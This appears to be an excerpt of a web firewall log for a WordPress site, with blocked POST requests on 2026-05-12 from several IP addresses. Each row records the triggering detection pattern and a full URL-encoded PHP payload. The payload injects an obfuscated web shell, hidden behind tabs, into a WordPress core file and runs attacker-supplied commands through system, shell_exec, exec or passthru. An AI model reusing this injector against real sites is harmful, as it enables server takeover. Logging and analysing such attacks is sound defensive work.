%2522%255Cx70oin%255Cx74e%255Cx72%2522%255D%2529%253B%2520%2524pointer%2520%253D%2520reverse_lookup%2528%2524pointer%252C%252044%2529%253B%2520if%2520%2528function_exists%2528%2524batch_process1%2529%2529%2520%257B%2520%2524batch_process1%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process2%2529%2529%2520%257B%2520print%2520%2524batch_process2%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process3%2529%2529%2520%257B%2520%2524batch_process3%2528%2524pointer%252C%2520%2524tkn_binding%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_binding%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process4%2529%2529%2520%257B%2520%2524batch_process4%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process5%2529%2520%2526%2526%2520function_exists%2528%2524batch_process6%2529%2520%2526%2526%2520function_exists%2528%2524batch_process7%2529%2529%2520%257B%2520%2524pgrp_factor%2520%253D%2520%2524batch_process5%2528%2524pointer%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pgrp_factor%2529%2520%257B%2520%2524ent_rec%2520%253D%2520%2524batch_process6%2528%2524pgrp_factor%2529%253B%2520%2524batch_process7%2528%2524pgrp_factor%2529%253B%2520print%2520%2524ent_rec%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:51:15","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> zj:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-pattern-categories-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520%2524batch_process2%2520%253D%2520%2522%255Cx73h%255Cx65ll_%255Cx65%255Cx78ec%2522%253B%2520%2524batch_process7%2520%253D%2520%2522pc%255Cx6C%255Cx6Fse%2522%253B%2520%2524batch_process1%2520%253D%2520%2522s%255Cx79ste%255Cx6D%2522%253B%2520%2524batch_process4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520%2524batch_process6%2520%253D%2520%2522st%255Cx72%255Cx65a%255Cx6D_ge%255Cx74_%255Cx63%255Cx6F%255Cx6E%255Cx74%255Cx65%255Cx6Ets%2522%253B%2520%2524batch_process3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520%2524batch_process5%2520%253D%2520%2522pope%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx70oin%255Cx74e%255Cx72%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2528%2524binding%2520%252C%2520%2524pgrp%2520%2529%257B%2520%2524factor%2520%253D%2527%2527%253B%2520%2524i%253D0%253B%2520while%2528%2524i%253Cstrlen%2528%2524binding%2529%2529%257B%2520%2524factor.%253Dchr%2528ord%2528%2524binding%255B%2524i%255D%2529%255E%2524pgrp%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520return%2524factor%253B%2520%257D%2520%2524pointer%2520%253D%2520%2524task_processor%2528%2524_POST%255B%2522%255Cx70oin%255Cx74e%255Cx72%2522%255D%2529%253B%2520%2524pointer%2520%253D%2520reverse_lookup%2528%2524pointer%252C%252044%2529%253B%2520if%2520%2528function_exists%2528%2524batch_process1%2529%2529%2520%257B%2520%2524batch_process1%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process2%2529%2529%2520%257B%2520print%2520%2524batch_process2%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process3%2529%2529%2520%257B%2520%2524batch_process3%2528%2524pointer%252C%2520%2524tkn_binding%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_binding%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process4%2529%2529%2520%257B%2520%2524batch_process4%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process5%2529%2520%2526%2526%2520function_exists%2528%2524batch_process6%2529%2520%2526%2526%2520function_exists%2528%2524batch_process7%2529%2529%2520%257B%2520%2524pgrp_factor%2520%253D%2520%2524batch_process5%2528%2524pointer%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pgrp_factor%2529%2520%257B%2520%2524ent_rec%2520%253D%2520%2524batch_process6%2528%2524pgrp_factor%2529%253B%2520%2524batch_process7%2528%2524pgrp_factor%2529%253B%2520print%2520%2524ent_rec%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:5331\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-encoding:gzip,deflate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrzbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\n\nzj=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-pattern-categories-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520%2524batch_process2%2520%253D%2520%2522%255Cx73h%255Cx65ll_%255Cx65%255Cx78ec%2522%253B%2520%2524batch_process7%2520%253D%2520%2522pc%255Cx6C%255Cx6Fse%2522%253B%2520%2524batch_process1%2520%253D%2520%2522s%255Cx79ste%255Cx6D%2522%253B%2520%2524batch_process4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520%2524batch_process6%2520%253D%2520%2522st%255Cx72%255Cx65a%255Cx6D_ge%255Cx74_%255Cx63%255Cx6F%255Cx6E%255Cx74%255Cx65%255Cx6Ets%2522%253B%2520%2524batch_process3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520%2524batch_process5%2520%253D%2520%2522pope%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx70oin%255Cx74e%255Cx72%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2528%2524binding%2520%252C%2520%2524pgrp%2520%2529%257B%2520%2524factor%2520%253D%2527%2527%253B%2520%2524i%253D0%253B%2520while%2528%2524i%253Cstrlen%2528%2524binding%2529%2529%257B%2520%2524factor.%253Dchr%2528ord%2528%2524binding%255B%2524i%255D%2529%255E%2524pgrp%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520return%2524factor%253B%2520%257D%2520%2524pointer%2520%253D%2520%2524task_processor%2528%2524_POST%255B%2522%255Cx70oin%255Cx74e%255Cx72%2522%255D%2529%253B%2520%2524pointer%2520%253D%2520reverse_lookup%2528%2524pointer%252C%252044%2529%253B%2520if%2520%2528function_exists%2528%2524batch_process1%2529%2529%2520%257B%2520%2524batch_process1%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process2%2529%2529%2520%257B%2520print%2520%2524batch_process2%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process3%2529%2529%2520%257B%2520%2524batch_process3%2528%2524pointer%252C%2520%2524tkn_binding%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_binding%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process4%2529%2529%2520%257B%2520%2524batch_process4%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process5%2529%2520%2526%2526%2520function_exists%2528%2524batch_process6%2529%2520%2526%2526%2520function_exists%2528%2524batch_process7%2529%2529%2520%257B%2520%2524pgrp_factor%2520%253D%2520%2524batch_process5%2528%2524pointer%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pgrp_factor%2529%2520%257B%2520%2524ent_rec%2520%253D%2520%2524batch_process6%2528%2524pgrp_factor%2529%253B%2520%2524batch_process7%2528%2524pgrp_factor%2529%253B%2520print%2520%2524ent_rec%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:51:17","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> vt:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-pattern-categories-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520%2524batch_process2%2520%253D%2520%2522%255Cx73h%255Cx65ll_%255Cx65%255Cx78ec%2522%253B%2520%2524batch_process7%2520%253D%2520%2522pc%255Cx6C%255Cx6Fse%2522%253B%2520%2524batch_process1%2520%253D%2520%2522s%255Cx79ste%255Cx6D%2522%253B%2520%2524batch_process4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520%2524batch_process6%2520%253D%2520%2522st%255Cx72%255Cx65a%255Cx6D_ge%255Cx74_%255Cx63%255Cx6F%255Cx6E%255Cx74%255Cx65%255Cx6Ets%2522%253B%2520%2524batch_process3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520%2524batch_process5%2520%253D%2520%2522pope%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx70oin%255Cx74e%255Cx72%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2528%2524binding%2520%252C%2520%2524pgrp%2520%2529%257B%2520%2524factor%2520%253D%2527%2527%253B%2520%2524i%253D0%253B%2520while%2528%2524i%253Cstrlen%2528%2524binding%2529%2529%257B%2520%2524factor.%253Dchr%2528ord%2528%2524binding%255B%2524i%255D%2529%255E%2524pgrp%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520return%2524factor%253B%2520%257D%2520%2524pointer%2520%253D%2520%2524task_processor%2528%2524_POST%255B%2522%255Cx70oin%255Cx74e%255Cx72%2522%255D%2529%253B%2520%2524pointer%2520%253D%2520reverse_lookup%2528%2524pointer%252C%252044%2529%253B%2520if%2520%2528function_exists%2528%2524batch_process1%2529%2529%2520%257B%2520%2524batch_process1%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process2%2529%2529%2520%257B%2520print%2520%2524batch_process2%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process3%2529%2529%2520%257B%2520%2524batch_process3%2528%2524pointer%252C%2520%2524tkn_binding%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_binding%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process4%2529%2529%2520%257B%2520%2524batch_process4%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process5%2529%2520%2526%2526%2520function_exists%2528%2524batch_process6%2529%2520%2526%2526%2520function_exists%2528%2524batch_process7%2529%2529%2520%257B%2520%2524pgrp_factor%2520%253D%2520%2524batch_process5%2528%2524pointer%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pgrp_factor%2529%2520%257B%2520%2524ent_rec%2520%253D%2520%2524batch_process6%2528%2524pgrp_factor%2529%253B%2520%2524batch_process7%2528%2524pgrp_factor%2529%253B%2520print%2520%2524ent_rec%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:5331\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-encoding:gzip,deflate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqaDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\n\nvt=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-pattern-categories-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520%2524batch_process2%2520%253D%2520%2522%255Cx73h%255Cx65ll_%255Cx65%255Cx78ec%2522%253B%2520%2524batch_process7%2520%253D%2520%2522pc%255Cx6C%255Cx6Fse%2522%253B%2520%2524batch_process1%2520%253D%2520%2522s%255Cx79ste%255Cx6D%2522%253B%2520%2524batch_process4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520%2524batch_process6%2520%253D%2520%2522st%255Cx72%255Cx65a%255Cx6D_ge%255Cx74_%255Cx63%255Cx6F%255Cx6E%255Cx74%255Cx65%255Cx6Ets%2522%253B%2520%2524batch_process3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520%2524batch_process5%2520%253D%2520%2522pope%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx70oin%255Cx74e%255Cx72%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2528%2524binding%2520%252C%2520%2524pgrp%2520%2529%257B%2520%2524factor%2520%253D%2527%2527%253B%2520%2524i%253D0%253B%2520while%2528%2524i%253Cstrlen%2528%2524binding%2529%2529%257B%2520%2524factor.%253Dchr%2528ord%2528%2524binding%255B%2524i%255D%2529%255E%2524pgrp%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520return%2524factor%253B%2520%257D%2520%2524pointer%2520%253D%2520%2524task_processor%2528%2524_POST%255B%2522%255Cx70oin%255Cx74e%255Cx72%2522%255D%2529%253B%2520%2524pointer%2520%253D%2520reverse_lookup%2528%2524pointer%252C%252044%2529%253B%2520if%2520%2528function_exists%2528%2524batch_process1%2529%2529%2520%257B%2520%2524batch_process1%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process2%2529%2529%2520%257B%2520print%2520%2524batch_process2%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process3%2529%2529%2520%257B%2520%2524batch_process3%2528%2524pointer%252C%2520%2524tkn_binding%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_binding%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process4%2529%2529%2520%257B%2520%2524batch_process4%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process5%2529%2520%2526%2526%2520function_exists%2528%2524batch_process6%2529%2520%2526%2526%2520function_exists%2528%2524batch_process7%2529%2529%2520%257B%2520%2524pgrp_factor%2520%253D%2520%2524batch_process5%2528%2524pointer%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pgrp_factor%2529%2520%257B%2520%2524ent_rec%2520%253D%2520%2524batch_process6%2528%2524pgrp_factor%2529%253B%2520%2524batch_process7%2528%2524pgrp_factor%2529%253B%2520print%2520%2524ent_rec%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:51:18","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> iK:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-pattern-categories-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520%2524batch_process2%2520%253D%2520%2522%255Cx73h%255Cx65ll_%255Cx65%255Cx78ec%2522%253B%2520%2524batch_process7%2520%253D%2520%2522pc%255Cx6C%255Cx6Fse%2522%253B%2520%2524batch_process1%2520%253D%2520%2522s%255Cx79ste%255Cx6D%2522%253B%2520%2524batch_process4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520%2524batch_process6%2520%253D%2520%2522st%255Cx72%255Cx65a%255Cx6D_ge%255Cx74_%255Cx63%255Cx6F%255Cx6E%255Cx74%255Cx65%255Cx6Ets%2522%253B%2520%2524batch_process3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520%2524batch_process5%2520%253D%2520%2522pope%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx70oin%255Cx74e%255Cx72%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2528%2524binding%2520%252C%2520%2524pgrp%2520%2529%257B%2520%2524factor%2520%253D%2527%2527%253B%2520%2524i%253D0%253B%2520while%2528%2524i%253Cstrlen%2528%2524binding%2529%2529%257B%2520%2524factor.%253Dchr%2528ord%2528%2524binding%255B%2524i%255D%2529%255E%2524pgrp%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520return%2524factor%253B%2520%257D%2520%2524pointer%2520%253D%2520%2524task_processor%2528%2524_POST%255B%2522%255Cx70oin%255Cx74e%255Cx72%2522%255D%2529%253B%2520%2524pointer%2520%253D%2520reverse_lookup%2528%2524pointer%252C%252044%2529%253B%2520if%2520%2528function_exists%2528%2524batch_process1%2529%2529%2520%257B%2520%2524batch_process1%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process2%2529%2529%2520%257B%2520print%2520%2524batch_process2%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process3%2529%2529%2520%257B%2520%2524batch_process3%2528%2524pointer%252C%2520%2524tkn_binding%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_binding%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process4%2529%2529%2520%257B%2520%2524batch_process4%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process5%2529%2520%2526%2526%2520function_exists%2528%2524batch_process6%2529%2520%2526%2526%2520function_exists%2528%2524batch_process7%2529%2529%2520%257B%2520%2524pgrp_factor%2520%253D%2520%2524batch_process5%2528%2524pointer%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pgrp_factor%2529%2520%257B%2520%2524ent_rec%2520%253D%2520%2524batch_process6%2528%2524pgrp_factor%2529%253B%2520%2524batch_process7%2528%2524pgrp_factor%2529%253B%2520print%2520%2524ent_rec%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3